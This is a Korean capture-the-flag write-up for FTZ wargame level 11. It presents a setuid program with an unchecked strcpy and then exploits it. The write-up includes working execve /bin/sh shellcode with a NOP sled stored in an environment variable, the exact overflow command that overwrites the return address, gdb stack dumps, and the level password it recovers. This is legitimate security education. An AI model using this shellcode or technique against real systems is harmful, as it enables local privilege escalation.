// attackme 소스 코드
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
[level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level11@ftz tmp]$ cat > getsh.c
#include <stdio.h>
main(){
printf("%p\n",getenv("sh")); //환경 변수 주소 획득
}
[level11@ftz tmp]$ gcc getsh.c -o getsh
[level11@ftz tmp]$ ./getsh
0xbffffeb1
[level11@ftz tmp]$ ../attackme `python -c 'print "A"*268+"\xb1\xfe\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
쉘 코드를 환경변수로 등록해서 환경 변수의 주소로 버퍼오버플로우 공격을 하면 된다.
export로 환경 변수를 등록한다. \x90은 NOP(no operation)을 의미한다. CPU는 NOP을 만나면 연산을 하지 않고 유효한 명령어를 만날 때까지 지나간다. 이런 방식을 NOP Sled 기법이라 한다. NOP을 안 넣으면 실행이 안된다. 이유는 정확히 모르겠다.
NOP를 30개와 쉘 코드를 환경 변수 sh에 등록하였다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
위의 쉘 코드는 구글링 해서 25 bytes 찾았다. attackme의 소스 코드에 setreuid 함수가 존재하기에 쉘 코드에는 필요 없다. setreuid가 있어야만 쉘 코드를 level12 권한으로 실행할 수 있다.
`python -c 'print "A"*268+"\xb1\xfe\xff\xbf"'`
명령어를 살펴보자.
쉘에서 ``는 $()와 같은 기능을 한다. `명령어` or $(명령어)는 명령어를 실행하여 나온 결과를 출력한다.
bash 쉘에서 `ls`를 입력하면 ls 결과 출력하고 결과물을 bash 쉘에서 입력으로 받는데 ls 결과는 파일 리스트이므로 이런 명령을 해석하지 못해 bash 쉘은 에러를 반환한다.
-c 옵션은 command line argument로 코드를 받아서 실행해주는 옵션이다.
"A"*268 즉 AAA...AA 총 268개를 의미한다. 268개를 입력해야 ebp-264부터 ebp까지를 "A"로 채울 수 있다.
그다음 이어서 return 할 주소의 위치가 등장한다.
../attakme의 인자로 쓰면 AAA...AA????가 된다. ????는 순차적으로 0xb1에 해당하는 문자, 0xfe에 해당하는 문자.. 이런 식이다. 정확한 문자는 모르고 의미도 없다. 결국 attackme의 인자로 들어가고 gdb로 들여다보면 0xbffffeb1이 저장된다.
\xb1\xfexff\xbf를 전달하는데 0xbffffeb1처럼 거꾸로 저장되는 이유는 리틀엔디안을 따르기 때문이다.
설명하지 않은 용어들은 검색해 보자.
아래는 gdb를 이용해서 내부를 들여다본 과정이다. argv를 인자로 받는 과정에서 스택에 어떤 식으로 저장되는지 알 수 있다. (gdb를 이용해 main 함수의 소스코드를 보려면 level12의 홈 디렉터리의 tmp 폴더로 attackme 실행파일을 복사한다. 그렇지 않으면 attackme엔 setuid가 걸려있어 어셈블리 코드를 볼 수 없다.)
[level11@ftz tmp]$ gdb ./a.out -q
(gdb) b main
Breakpoint 1 at 0x804839d
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048394 <main+0>: push ebp
0x08048395 <main+1>: mov ebp,esp
0x08048397 <main+3>: sub esp,0x108 //ebp-264
0x0804839d <main+9>: and esp,0xfffffff0
0x080483a0 <main+12>: mov eax,0x0
0x080483a5 <main+17>: sub esp,eax
0x080483a7 <main+19>: sub esp,0x8
0x080483aa <main+22>: push 0xc14
0x080483af <main+27>: push 0xc14
0x080483b4 <main+32>: call 0x80482c4 <setreuid>
0x080483b9 <main+37>: add esp,0x10
0x080483bc <main+40>: sub esp,0x8
0x080483bf <main+43>: mov eax,DWORD PTR [ebp+12] //argv 주소(자세한건 아래)
0x080483c2 <main+46>: add eax,0x4 //argv[1] 주소(자세한건 아래)
0x080483c5 <main+49>: push DWORD PTR [eax] //argv[1]
0x080483c7 <main+51>: lea eax,[ebp-264] //str 배열 위치
0x080483cd <main+57>: push eax
0x080483ce <main+58>: call 0x80482d4 <strcpy>
0x080483d3 <main+63>: add esp,0x10
0x080483d6 <main+66>: sub esp,0xc
0x080483d9 <main+69>: lea eax,[ebp-264]
0x080483df <main+75>: push eax
0x080483e0 <main+76>: call 0x80482b4 <printf>
---Type <return> to continue, or q <return> to quit---
0x080483e5 <main+81>: add esp,0x10
0x080483e8 <main+84>: leave
0x080483e9 <main+85>: ret
0x080483ea <main+86>: nop
0x080483eb <main+87>: nop
End of assembler dump.
(gdb) b *main+51
Breakpoint 2 at 0x80483c7
(gdb) r `python -c 'print "BCDEFGHI"+"A"*260+"\xb1\xfe\xff\xbf"'`
Starting program: /home/level11/tmp/a.out `python -c 'print "BCDEFGHI"+"A"*260+"\xb1\xfe\xff\xbf"'`
Breakpoint 1, 0x0804839d in main ()
(gdb) c
Continuing.
0x080483ce in main ()
(gdb) ni
0x080483d3 in main ()
(gdb) x/68x 0xbffff110
0xbffff110: 0x45444342 0x49484746 0x41414141 0x41414141
0xbffff120: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff130: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff140: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff150: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff160: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff180: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff190: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff200: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff210: 0x41414141 0x41414141 0x41414141 0xbffffeb1 //환경 변수(쉘 코드)주소
(gdb) i r ebp
ebp 0xbffff218 0xbffff218
(gdb) x/x 0xbffff224 //ebp+12주소에 저장된 값. argv의 주소값. &argv
0xbffff224: 0xbffff264 //argv
(gdb) x/x 0xbffff268 //argv+4 즉, argv[1]의 주소값. &argv[1]
0xbffff268: 0xbffffaed //argv[1]
(gdb) x/x 0xbffffaed //"BCDE"의 주소값. argv[1]
0xbffffaed: 0x45444342 //"BCDE"
(gdb) x/20x 0xbffffaed
0xbffffaed: 0x45444342 0x49484746 0x41414141 0x41414141
0xbffffafd: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb0d: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb1d: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb2d: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/x 0xbffff264
0xbffff264: 0xbffffad5
(gdb) x/s 0xbffffad5
0xbffffad5: "/home/level11/tmp/a.out"
(gdb) x/s 0xbffffaed
0xbffffaed: "BCDEFGHI", 'A' <repeats 192 times>...
(gdb) q
The program is running. Exit anyway? (y or n) y
level12의 password: it is like this